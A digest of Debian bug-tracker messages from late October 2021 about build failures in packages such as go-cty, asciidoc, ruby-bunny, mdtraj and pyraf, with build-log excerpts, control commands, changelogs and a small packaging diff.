Bug #997561 [src:golang-github-zclconf-go-cty] golang-github-zclconf-go-cty: 
FTBFS: dh_auto_test: error: cd _build && go test -vet=off -v -p 4 
github.com/zclconf/go-cty/cty github.com/zclconf/go-cty/cty/convert 
github.com/zclconf/go-cty/cty/function 
github.com/zclconf/go-cty/cty/function/stdlib 
github.com/zclconf/go-cty/cty/gocty github.com/zclconf/go-cty/cty/json 
github.com/zclconf/go-cty/cty/msgpack github.com/zclconf/go-cty/cty/set 
returned exit code 1
Added tag(s) pending.

-- 
997561: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997561
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997561: marked as pending in golang-github-zclconf-go-cty

[Aloïs Micard]

Control: tag -1 pending

Hello,

Bug #997561 in golang-github-zclconf-go-cty reported by you has been fixed in 
the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/go-team/packages/golang-github-zclconf-go-cty/-/commit/a981861c73c4af9965dda63563e22826b05ba7e2


Write patch to fix build with Go 1.17

Closes: #997561


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/997561

Processed: owner 997561

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> owner 997561 !
Bug #997561 [src:golang-github-zclconf-go-cty] golang-github-zclconf-go-cty: 
FTBFS: dh_auto_test: error: cd _build && go test -vet=off -v -p 4 
github.com/zclconf/go-cty/cty github.com/zclconf/go-cty/cty/convert 
github.com/zclconf/go-cty/cty/function 
github.com/zclconf/go-cty/cty/function/stdlib 
github.com/zclconf/go-cty/cty/gocty github.com/zclconf/go-cty/cty/json 
github.com/zclconf/go-cty/cty/msgpack github.com/zclconf/go-cty/cty/set 
returned exit code 1
Owner recorded as Alois Micard .
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
997561: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997561
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: bug 997563 is forwarded to https://github.com/urfave/cli/issues/1298

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> forwarded 997563 https://github.com/urfave/cli/issues/1298
Bug #997563 [src:golang-github-urfave-cli] golang-github-urfave-cli: FTBFS: 
dh_auto_test: error: cd obj-x86_64-linux-gnu && go test -vet=off -v -p 4 
github.com/urfave/cli returned exit code 1
Set Bug forwarded-to-address to 'https://github.com/urfave/cli/issues/1298'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
997563: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997563
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: bug 997557 is forwarded to https://github.com/urfave/cli/issues/1298

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> forwarded 997557 https://github.com/urfave/cli/issues/1298
Bug #997557 [src:golang-github-urfave-cli-v2] golang-github-urfave-cli-v2: 
FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && go test -vet=off -v -p 4 
github.com/urfave/cli/v2 returned exit code 1
Set Bug forwarded-to-address to 'https://github.com/urfave/cli/issues/1298'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
997557: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997557
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997557: golang-github-urfave-cli-v2: FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && go test -vet=off

[Shengjing Zhu]

On Sun, Oct 31, 2021 at 6:42 PM Drew Parsons  wrote:
>
> This doesn't seem to be a bug in the package. It just declares "vet" as
> a cli.Command in build.go.
>
> The error must be elsewhere in the go infrastructure, possibly in the dh
> go addon (dh-golang) which generates "go test" for dh_auto_test.
>

dh-golang sets -vet=off explicitly.

Please see lucas's attached log:

> cd obj-x86_64-linux-gnu && go test -vet=off -v -p 4 github.com/urfave/cli/v2

-- 
Shengjing Zhu

Bug#997629: marked as done (pyraf: FTBFS: error in setup command: use_2to3 is invalid.)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 13:18:43 +
with message-id 
and subject line Bug#997629: fixed in pyraf 2.2.0~rc1-2
has caused the Debian Bug report #997629,
regarding pyraf: FTBFS: error in setup command: use_2to3 is invalid.
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997629: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997629
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: pyraf
Version: 2.1.15-2
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20211023 ftbfs-bookworm

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
>  fakeroot debian/rules clean
> dh clean --with python3 --buildsystem=pybuild
>dh_auto_clean -O--buildsystem=pybuild
> I: pybuild base:232: python3.9 setup.py clean 
> /usr/lib/python3/dist-packages/setuptools/dist.py:717: UserWarning: Usage of 
> dash-separated 'author-email' will not be supported in future versions. 
> Please use the underscore name 'author_email' instead
>   warnings.warn(
> /usr/lib/python3/dist-packages/setuptools/dist.py:717: UserWarning: Usage of 
> dash-separated 'home-page' will not be supported in future versions. Please 
> use the underscore name 'home_page' instead
>   warnings.warn(
> /usr/lib/python3/dist-packages/setuptools/dist.py:717: UserWarning: Usage of 
> dash-separated 'description-file' will not be supported in future versions. 
> Please use the underscore name 'description_file' instead
>   warnings.warn(
> /usr/lib/python3/dist-packages/setuptools/dist.py:717: UserWarning: Usage of 
> dash-separated 'requires-python' will not be supported in future versions. 
> Please use the underscore name 'requires_python' instead
>   warnings.warn(
> /usr/lib/python3/dist-packages/setuptools/dist.py:717: UserWarning: Usage of 
> dash-separated 'pre-hook.glob-data-files' will not be supported in future 
> versions. Please use the underscore name 'pre_hook.glob_data_files' instead
>   warnings.warn(
> /usr/lib/python3/dist-packages/setuptools/dist.py:717: UserWarning: Usage of 
> dash-separated 'pre-hook.pyraf-buildext-hook' will not be supported in future 
> versions. Please use the underscore name 'pre_hook.pyraf_buildext_hook' 
> instead
>   warnings.warn(
> error in setup command: use_2to3 is invalid.
> E: pybuild pybuild:354: clean: plugin distutils failed with: exit code=1: 
> python3.9 setup.py clean 
> dh_auto_clean: error: pybuild --clean -i python{version} -p 3.9 returned exit 
> code 13
> make: *** [debian/rules:6: clean] Error 25


The full build log is available from:
http://qa-logs.debian.net/2021/10/23/pyraf_2.1.15-2_unstable.log

A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!

If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects

If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: pyraf
Source-Version: 2.2.0~rc1-2
Done: Ole Streicher 

We believe that the bug you reported is fixed in the latest version of
pyraf, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 997...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Ole Streicher  (supplier of updated pyraf package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Fri, 29 Oct 2021 09:47:37 +0200
Source: pyraf
Architecture: source
Version: 2.2.0~rc1-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Astro Team 
Changed-By: Ole Streicher 
Closes: 997629
Changes:
 pyraf (2.2.0~rc1-2) unstable; urgency=medium
 .
   * Switch back to unstable. Closes: #997629
Checksums-Sha1:
 46034111c32c93a747c4fd0a34c399b19436fd7c 2251 pyraf_2.2.0~rc1-2.dsc
 81bfcb6a9f35b26e01de17daac024f9234ab3b4f 7456 pyraf_2.2.0~rc1-2.debian.tar.xz
Checksums-Sha256:
 ad59cf0e6ea1fd1f99434965355e7f19652585139974bbcce81cd0c91cec5872 2251 

Bug#998114: marked as done (Missing egg info directory prevents asciidoc cli tools from running)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 13:03:23 +
with message-id 
and subject line Bug#998114: fixed in asciidoc 10.0.1-3
has caused the Debian Bug report #998114,
regarding Missing egg info directory prevents asciidoc cli tools from running
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
998114: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=998114
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: asciidoc
Version: 10.0.1-1
Severity: grave
Justification: Causes builds of packages using asciidoc to build documentation 
to fail
Tags: patch
X-Debbugs-Cc: su...@debian.org

/usr/bin/asciidoc and /usr/bin/a2x rely on python distribution info to
locate the entry point. These files are deleted by d/rules, however, so
the CLI tools are unable to run:

$ asciidoc
Traceback (most recent call last):
  File "/usr/bin/asciidoc", line 33, in 
sys.exit(load_entry_point('asciidoc==10.0.1', 'console_scripts', 
'asciidoc')())
  File "/usr/bin/asciidoc", line 22, in importlib_load_entry_point
for entry_point in distribution(dist_name).entry_points
  File "/usr/lib/python3.9/importlib/metadata.py", line 524, in distribution
return Distribution.from_name(distribution_name)
  File "/usr/lib/python3.9/importlib/metadata.py", line 187, in from_name
raise PackageNotFoundError(name)
importlib.metadata.PackageNotFoundError: asciidoc

I did a local rebuild with the attached patch applied which resulted in
a working asciidoc CLI tool.

Given the package-contains-python-dot-directory lintian tag it results
in, I am unsure if that's the correct fix as I'm no python expert.

-- 
ceterum censeo microsoftem esse delendam.
diff -Nru asciidoc-10.0.1/debian/rules asciidoc-10.0.1/debian/rules
--- asciidoc-10.0.1/debian/rules	2021-10-29 16:29:00.0 +
+++ asciidoc-10.0.1/debian/rules	2021-10-30 13:00:52.0 +
@@ -11,7 +11,6 @@
 	mv debian/asciidoc-tests/usr/bin/testasciidoc.py debian/asciidoc-tests/usr/bin/testasciidoc
 	find debian -type d -name __pycache__ -prune -exec rm -rf {} \;
 	rm -rf debian/asciidoc-base/usr/lib/python*/dist-packages/asciidoc/resources
-	rm -rf debian/asciidoc-base/usr/lib/python*/dist-packages/asciidoc-*.egg-info
 	rm -rf debian/asciidoc-common/etc/asciidoc/dblatex
 	rm -rf debian/asciidoc-common/etc/asciidoc/icons
 	rm -rf debian/asciidoc-common/etc/asciidoc/javascripts


pgpsNdfvIsiWo.pgp
Description: OpenPGP digital signature
--- End Message ---
--- Begin Message ---
Source: asciidoc
Source-Version: 10.0.1-3
Done: Leon Marz 

We believe that the bug you reported is fixed in the latest version of
asciidoc, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 998...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Leon Marz  (supplier of updated asciidoc package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Sat, 30 Oct 2021 17:56:56 +0200
Source: asciidoc
Architecture: source
Version: 10.0.1-3
Distribution: unstable
Urgency: medium
Maintainer: Leon Marz 
Changed-By: Leon Marz 
Closes: 998114
Changes:
 asciidoc (10.0.1-3) unstable; urgency=medium
 .
   [ Bastian Germann ]
   * Use pristine-tar (branch existing)
 .
   [ Leon Marz ]
   * Use custom scripts for usr/bin (Closes: #998114)
Checksums-Sha1:
 4a2c90ef1bc13b1d1c3b4b62a0f395436062ee59 2198 asciidoc_10.0.1-3.dsc
 5f9c69e8d66a836fb21b91ea0c7bd44d38c451ca 13252 asciidoc_10.0.1-3.debian.tar.xz
 5ca615dd4a7bf0799eb64ec6e19cf7b850466285 6068 
asciidoc_10.0.1-3_source.buildinfo
Checksums-Sha256:
 f926a8887569cac5ed2863dcb0a2a86550879515c57b689589369fe66d65b22a 2198 
asciidoc_10.0.1-3.dsc
 77236531845b53bad267de36fa346031a1336707a02c9980fdede3f2c479c512 13252 
asciidoc_10.0.1-3.debian.tar.xz
 a03674667997f61d12367b084d508ef350f5b4b434ea821e87ff58b2d7d73179 6068 
asciidoc_10.0.1-3_source.buildinfo
Files:
 9f72fbd3b665f7f18fd769f7562cdc51 2198 text optional asciidoc_10.0.1-3.dsc
 8b1ccf105e2702b504a7f986116a2f84 13252 text optional 
asciidoc_10.0.1-3.debian.tar.xz
 70babed861be1acca6e9db8e64a16fc1 6068 text optional 
asciidoc_10.0.1-3_source.buildinfo

-BEGIN PGP SIGNATURE-

Bug#996143: marked as done (ruby-bunny: FTBFS with ruby3.0: ERROR: Test "ruby3.0" failed: RuntimeError:)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 12:48:59 +
with message-id 
and subject line Bug#996143: fixed in ruby-bunny 2.19.0-1
has caused the Debian Bug report #996143,
regarding ruby-bunny: FTBFS with ruby3.0: ERROR: Test "ruby3.0" failed: 
RuntimeError:
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
996143: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996143
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: ruby-bunny
Version: 2.14.4-4
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: debian-r...@lists.debian.org
Usertags: ruby3.0

Hi,

We are about to enable building against ruby3.0 on unstable. During a test
rebuild, ruby-bunny was found to fail to build in that situation.

To reproduce this locally, you need to install ruby-all-dev from experimental
on an unstable system or build chroot.

Relevant part (hopefully):
> RuntimeError:
>   The `SortedSet` class has been extracted from the `set` library.You must 
> use the `sorted_set` gem or other alternatives.
> # ./lib/bunny/concurrent/synchronized_sorted_set.rb:10:in 
> `'
> # ./lib/bunny/concurrent/synchronized_sorted_set.rb:5:in `'
> # ./lib/bunny/concurrent/synchronized_sorted_set.rb:4:in `'
> # ./spec/unit/concurrent/synchronized_sorted_set_spec.rb:2:in ` (required)>'
> # --
> # --- Caused by: ---
> # LoadError:
> #   cannot load such file -- sorted_set
> #   ./lib/bunny/concurrent/synchronized_sorted_set.rb:10:in 
> `'
> 
> Finished in 0.6 seconds (files took 0.33116 seconds to load)
> 0 examples, 0 failures, 1 error occurred outside of examples
> 
> /usr/bin/ruby3.0 
> -I/usr/share/rubygems-integration/all/gems/rspec-support-3.9.3/lib:/usr/share/rubygems-integration/all/gems/rspec-core-3.9.2/lib
>  /usr/share/rubygems-integration/all/gems/rspec-core-3.9.2/exe/rspec 
> spec/higher_level_api/integration/basic_ack_spec.rb 
> spec/higher_level_api/integration/basic_cancel_spec.rb 
> spec/higher_level_api/integration/basic_consume_spec.rb 
> spec/higher_level_api/integration/basic_consume_with_objects_spec.rb 
> spec/higher_level_api/integration/basic_get_spec.rb 
> spec/higher_level_api/integration/basic_nack_spec.rb 
> spec/higher_level_api/integration/basic_publish_spec.rb 
> spec/higher_level_api/integration/basic_qos_spec.rb 
> spec/higher_level_api/integration/basic_reject_spec.rb 
> spec/higher_level_api/integration/basic_return_spec.rb 
> spec/higher_level_api/integration/channel_close_spec.rb 
> spec/higher_level_api/integration/channel_open_spec.rb 
> spec/higher_level_api/integration/consumer_cancellation_notification_spec.rb 
> spec/higher_level_api/integration/dead_lettering_spec.rb 
> spec/higher_level_api/integration/exchange_bind_spec.rb 
> spec/higher_level_api/integration/exchange_declare_spec.rb 
> spec/higher_level_api/integration/exchange_delete_spec.rb 
> spec/higher_level_api/integration/exchange_unbind_spec.rb 
> spec/higher_level_api/integration/exclusive_queue_spec.rb 
> spec/higher_level_api/integration/heartbeat_spec.rb 
> spec/higher_level_api/integration/predeclared_exchanges_spec.rb 
> spec/higher_level_api/integration/publisher_confirms_spec.rb 
> spec/higher_level_api/integration/publishing_edge_cases_spec.rb 
> spec/higher_level_api/integration/queue_bind_spec.rb 
> spec/higher_level_api/integration/queue_delete_spec.rb 
> spec/higher_level_api/integration/queue_purge_spec.rb 
> spec/higher_level_api/integration/queue_unbind_spec.rb 
> spec/higher_level_api/integration/read_only_consumer_spec.rb 
> spec/higher_level_api/integration/sender_selected_distribution_spec.rb 
> spec/higher_level_api/integration/tx_commit_spec.rb 
> spec/higher_level_api/integration/tx_rollback_spec.rb 
> spec/higher_level_api/integration/with_channel_spec.rb 
> spec/issues/issue100_spec.rb spec/issues/issue141_spec.rb 
> spec/issues/issue202_spec.rb spec/issues/issue224_spec.rb 
> spec/issues/issue465_spec.rb spec/issues/issue78_spec.rb 
> spec/issues/issue83_spec.rb spec/issues/issue97_spec.rb 
> spec/lower_level_api/integration/basic_cancel_spec.rb 
> spec/lower_level_api/integration/basic_consume_spec.rb 
> spec/unit/bunny_spec.rb spec/unit/concurrent/atomic_fixnum_spec.rb 
> spec/unit/concurrent/condition_spec.rb 
> spec/unit/concurrent/linked_continuation_queue_spec.rb 
> spec/unit/concurrent/synchronized_sorted_set_spec.rb 
> spec/unit/exchange_recovery_spec.rb spec/unit/version_delivery_tag_spec.rb 
> --format documentation failed
> Stopping and halting node bunny@ip-172-31-21-37 ...
> Gracefully halting Erlang VM
> ERROR: Test "ruby3.0" failed: 


The full build 

Bug#996143: marked as pending in ruby-bunny

[Antonio Terceiro]

Control: tag -1 pending

Hello,

Bug #996143 in ruby-bunny reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/ruby-team/ruby-bunny/-/commit/344874a3568d2bb2cedb7f766a2ecc044257a336


debian/control: update with dh-make-ruby

- reoder fields based on from template
- Update Build-Dependencies
  - add build dependency on ruby-sorted-set (Closes: #996143)
- Bump debhelper compatibility level to 13
- Bump Standards-Version to 4.6.0 (no changes needed)
- Depend: drop ${shlibs:Depends}, unused as this is a pure Ruby package

Gbp-Dch: full


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/996143

Processed: Bug#996143 marked as pending in ruby-bunny

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #996143 [src:ruby-bunny] ruby-bunny: FTBFS with ruby3.0: ERROR: Test 
"ruby3.0" failed: RuntimeError:
Added tag(s) pending.

-- 
996143: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996143
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Re: Bug#996724: ruby3.0: FTBFS on ppc64el: Segmentation fault

[Debian Bug Tracking System]

Processing control commands:

> reopen -1
Bug #996724 {Done: Antonio Terceiro } [src:ruby3.0] 
ruby3.0: FTBFS on ppc64el: Segmentation fault
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions ruby3.0/3.0.2-5.
> retitle -1 ruby3.0: Segmentation fault on ppc64el when compiled with gcc-11
Bug #996724 [src:ruby3.0] ruby3.0: FTBFS on ppc64el: Segmentation fault
Changed Bug title to 'ruby3.0: Segmentation fault on ppc64el when compiled with 
gcc-11' from 'ruby3.0: FTBFS on ppc64el: Segmentation fault'.
> severity -1 important
Bug #996724 [src:ruby3.0] ruby3.0: Segmentation fault on ppc64el when compiled 
with gcc-11
Severity set to 'important' from 'serious'

-- 
996724: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996724
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#996724: ruby3.0: FTBFS on ppc64el: Segmentation fault

[Antonio Terceiro]

Control: reopen -1
Control: retitle -1 ruby3.0: Segmentation fault on ppc64el when compiled with 
gcc-11
Control: severity -1 important

Hi,

On Sat, Oct 30, 2021 at 08:50:10AM +0200, Lucas Nussbaum wrote:
> Hi,
> 
> On 30/10/21 at 00:13 +0200, Lucas Nussbaum wrote:
> > Hi,
> > 
> > ruby 3.0 3.0.2-4:
> > - builds fine in Debian stable
> > - fails in unstable
> > - builds fine in unstable snapshotted on 20210930T210616Z
> > - fails in unstable snapshotted on 20211014T215029Z
> 
> I confirm that this is due to the switch from GCC 10 to GCC 11 in
> gcc-defaults.
> I wonder if this should be tracked separately and investigated, as it's
> either a miscompilation issue in GCC 11, or a bug in Ruby 3.0...

Yes. I think for now we can just reopen this bug.

It would be nice to have a simpler/faster reproducer. but for now that
is "revert the changes in 3.0.2-5 and do a build".


signature.asc
Description: PGP signature

Bug#997749: marked as done (mdtraj: FTBFS: sed: no input files)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 12:18:48 +
with message-id 
and subject line Bug#997749: fixed in mdtraj 1.9.6-2
has caused the Debian Bug report #997749,
regarding mdtraj: FTBFS: sed: no input files
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
997749: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997749
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: mdtraj
Version: 1.9.6-1
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20211023 ftbfs-bookworm

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.


Relevant part (hopefully):
> make[1]: Entering directory '/<>'
> dh_sphinxdoc -i
> dh_sphinxdoc: warning: ignoring unknown JavaScript code: 
> debian/python-mdtraj-doc/usr/share/doc/python-mdtraj-doc/html/_static/js/versions.js
> grep "https://cdnjs.cloudflare.com/ajax/libs/mathjax/.*/latest.js; 
> debian/python-mdtraj-doc/usr/share/doc/python-mdtraj-doc/* -r 
> --files-with-matches | xargs sed 
> "s|src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/.*/latest.js|src=\"file:///usr/share/javascript/mathjax/unpacked/latest.js|g"
>  -i
> sed: no input files
> make[1]: *** [debian/rules:51: override_dh_sphinxdoc-indep] Error 123


The full build log is available from:
http://qa-logs.debian.net/2021/10/23/mdtraj_1.9.6-1_unstable.log

A list of current common problems and possible solutions is available at
http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute!

If you reassign this bug to another package, please marking it as 'affects'-ing
this package. See https://www.debian.org/Bugs/server-control#affects

If you fail to reproduce this, please provide a build log and diff it with mine
so that we can identify if something relevant changed in the meantime.
--- End Message ---
--- Begin Message ---
Source: mdtraj
Source-Version: 1.9.6-2
Done: Drew Parsons 

We believe that the bug you reported is fixed in the latest version of
mdtraj, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 997...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Drew Parsons  (supplier of updated mdtraj package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Sun, 31 Oct 2021 12:48:20 +0100
Source: mdtraj
Architecture: source
Version: 1.9.6-2
Distribution: unstable
Urgency: medium
Maintainer: Debichem Team 
Changed-By: Drew Parsons 
Closes: 997749
Changes:
 mdtraj (1.9.6-2) unstable; urgency=medium
 .
   * allow for mathjax changes: latest.js no longer used.
 Closes: #997749.
   * call dh_numpy3 after dh_install
   * update debian/copyright
 - remove deprecated devtools/authors.py
 - acknowledge Robert T. McGibbon in mdtraj/formats/xtc/src
Checksums-Sha1:
 7a06c21b9d7f1ba1517e675e7b46698c7f18912f 2592 mdtraj_1.9.6-2.dsc
 319755e4bf43bf34a4cb0caba5c7c11309be87a1 299604 mdtraj_1.9.6-2.debian.tar.xz
Checksums-Sha256:
 981eceb4a519674a13c39deb15352e3d0b0e2fd0a623d9179bce5608d5581c34 2592 
mdtraj_1.9.6-2.dsc
 310f9be6ea559e3a52450ecdf54deb21e0608bda26794a59da02213c1aca54b6 299604 
mdtraj_1.9.6-2.debian.tar.xz
Files:
 067705525b914a28cc0a7adf231ef5a7 2592 python optional mdtraj_1.9.6-2.dsc
 20235f93e78d4ea5a2438bfbf641ac87 299604 python optional 
mdtraj_1.9.6-2.debian.tar.xz

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEI8mpPlhYGekSbQo2Vz7x5L1aAfoFAmF+hcsACgkQVz7x5L1a
Afq1LA//SzCeay9V5/eZIaxHO1+eyrHwtWpIAmebgmdmsfILP4Q0CMRliGtNxPPy
zo5vzB91W+mnOugJ+oILM8Nm3jO4Xqr/mG3vdV7Xw5kWpCXJIAgJ6HaOaFZA6PiF
wB0J9qxxkvnfG5qdX8XtFdJf6PCe5k1RB0ElClCfaM3xlWHFAn1e71O2Dszlxk8x
58ZYMzLVkzXFYrIzJpK9PlNlsI4j0S8pX7SuL20ZK9PM80Ghm3cfwajFt2McKdSQ
Lln5MZIQOXZ96ZqBj2DvgUI8ZEfoDMHgIx8thIUig7OPXhs7aX776Eo0GDnA9o0I
RM22xR2JUEu/Ye/YuxQHwQ1BrWSBhPsCripo2e8kSUwpT8He4VkCQUIRLF4prC6l
2qSfKhkWv9PDu/B0gSy+ec/zgpuuzsNFG8uHidkYjO4Q80n8szH6Ao+NgYGdSnLu
FbO++5YIXOdZa65B4XFljOVJA+ZX2XBCsPt+igQESYlW+4wEmvcleTxnOxyHF5FQ
1+IX+LJcb8skNm1VO0COZfBM4+hu/OXEcEKne61jItv4OoVrfzcxJ0tMIm3zOEGc
86by4pMQT3CMQ6IlFL3PCN2xtqhru5oe4kV8ZTEjzuBP733KQrQ2eqXARigXZ+el
TXrh3wA9UyQ02dLBe1h9MROpg/DZHO7f49Kbe8OVDXbJSIWtJdg=
=/yaI
-END PGP SIGNATURE End 

Processed: owner 997564

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> owner 997564 !
Bug #997564 [src:golang-github-facebookgo-stack] 
golang-github-facebookgo-stack: FTBFS: dh_auto_test: error: cd 
obj-x86_64-linux-gnu && go test -vet=off -v -p 1 github.com/facebookgo/stack 
returned exit code 1
Owner recorded as Alois Micard .
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
997564: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997564
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Re-assigning to only proteinortho

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> reopen 996407
Bug #996407 {Done: Nilesh Patra } [src:diamond-aligner, 
src:proteinortho] diamond-aligner breaks proteinortho autopkgtest: diamond 
failed with code 256
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions diamond-aligner/2.0.13-1 and 
proteinortho/6.0.31+dfsg-2.
> notfound 996407 diamond-aligner/2.0.12-1
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
No longer marked as found in versions diamond-aligner/2.0.12-1.
> notfound 996407 proteinortho/6.0.31+dfsg-1
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
No longer marked as found in versions proteinortho/6.0.31+dfsg-1.
> reassign 996407 proteinortho
Bug #996407 [src:diamond-aligner, src:proteinortho] diamond-aligner breaks 
proteinortho autopkgtest: diamond failed with code 256
Bug reassigned from package 'src:diamond-aligner, src:proteinortho' to 
'proteinortho'.
Ignoring request to alter found versions of bug #996407 to the same values 
previously set
Ignoring request to alter fixed versions of bug #996407 to the same values 
previously set
> found 996407 6.0.31+dfsg-1
Bug #996407 [proteinortho] diamond-aligner breaks proteinortho autopkgtest: 
diamond failed with code 256
Marked as found in versions proteinortho/6.0.31+dfsg-1.
> fixed 996407 6.0.31+dfsg-2
Bug #996407 [proteinortho] diamond-aligner breaks proteinortho autopkgtest: 
diamond failed with code 256
Marked as fixed in versions proteinortho/6.0.31+dfsg-2.
> close 996407
Bug #996407 [proteinortho] diamond-aligner breaks proteinortho autopkgtest: 
diamond failed with code 256
Marked Bug as done
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
996407: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996407
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#997449: marked as done (py-stringmatching: FTBFS: '! LaTeX Error: File `tgtermes.sty' not found.')

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 11:47:55 +0100
with message-id <9a4137bcc4e82060384a86d6807ef...@debian.org>
and subject line Re: Bug#997449 py-stringmatching: FTBFS: '! LaTeX Error: File 
`tgtermes.sty' not found.'
has caused the Debian Bug report #997449,
regarding py-stringmatching: FTBFS:   '! LaTeX Error: File `tgtermes.sty' not 
found.'
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
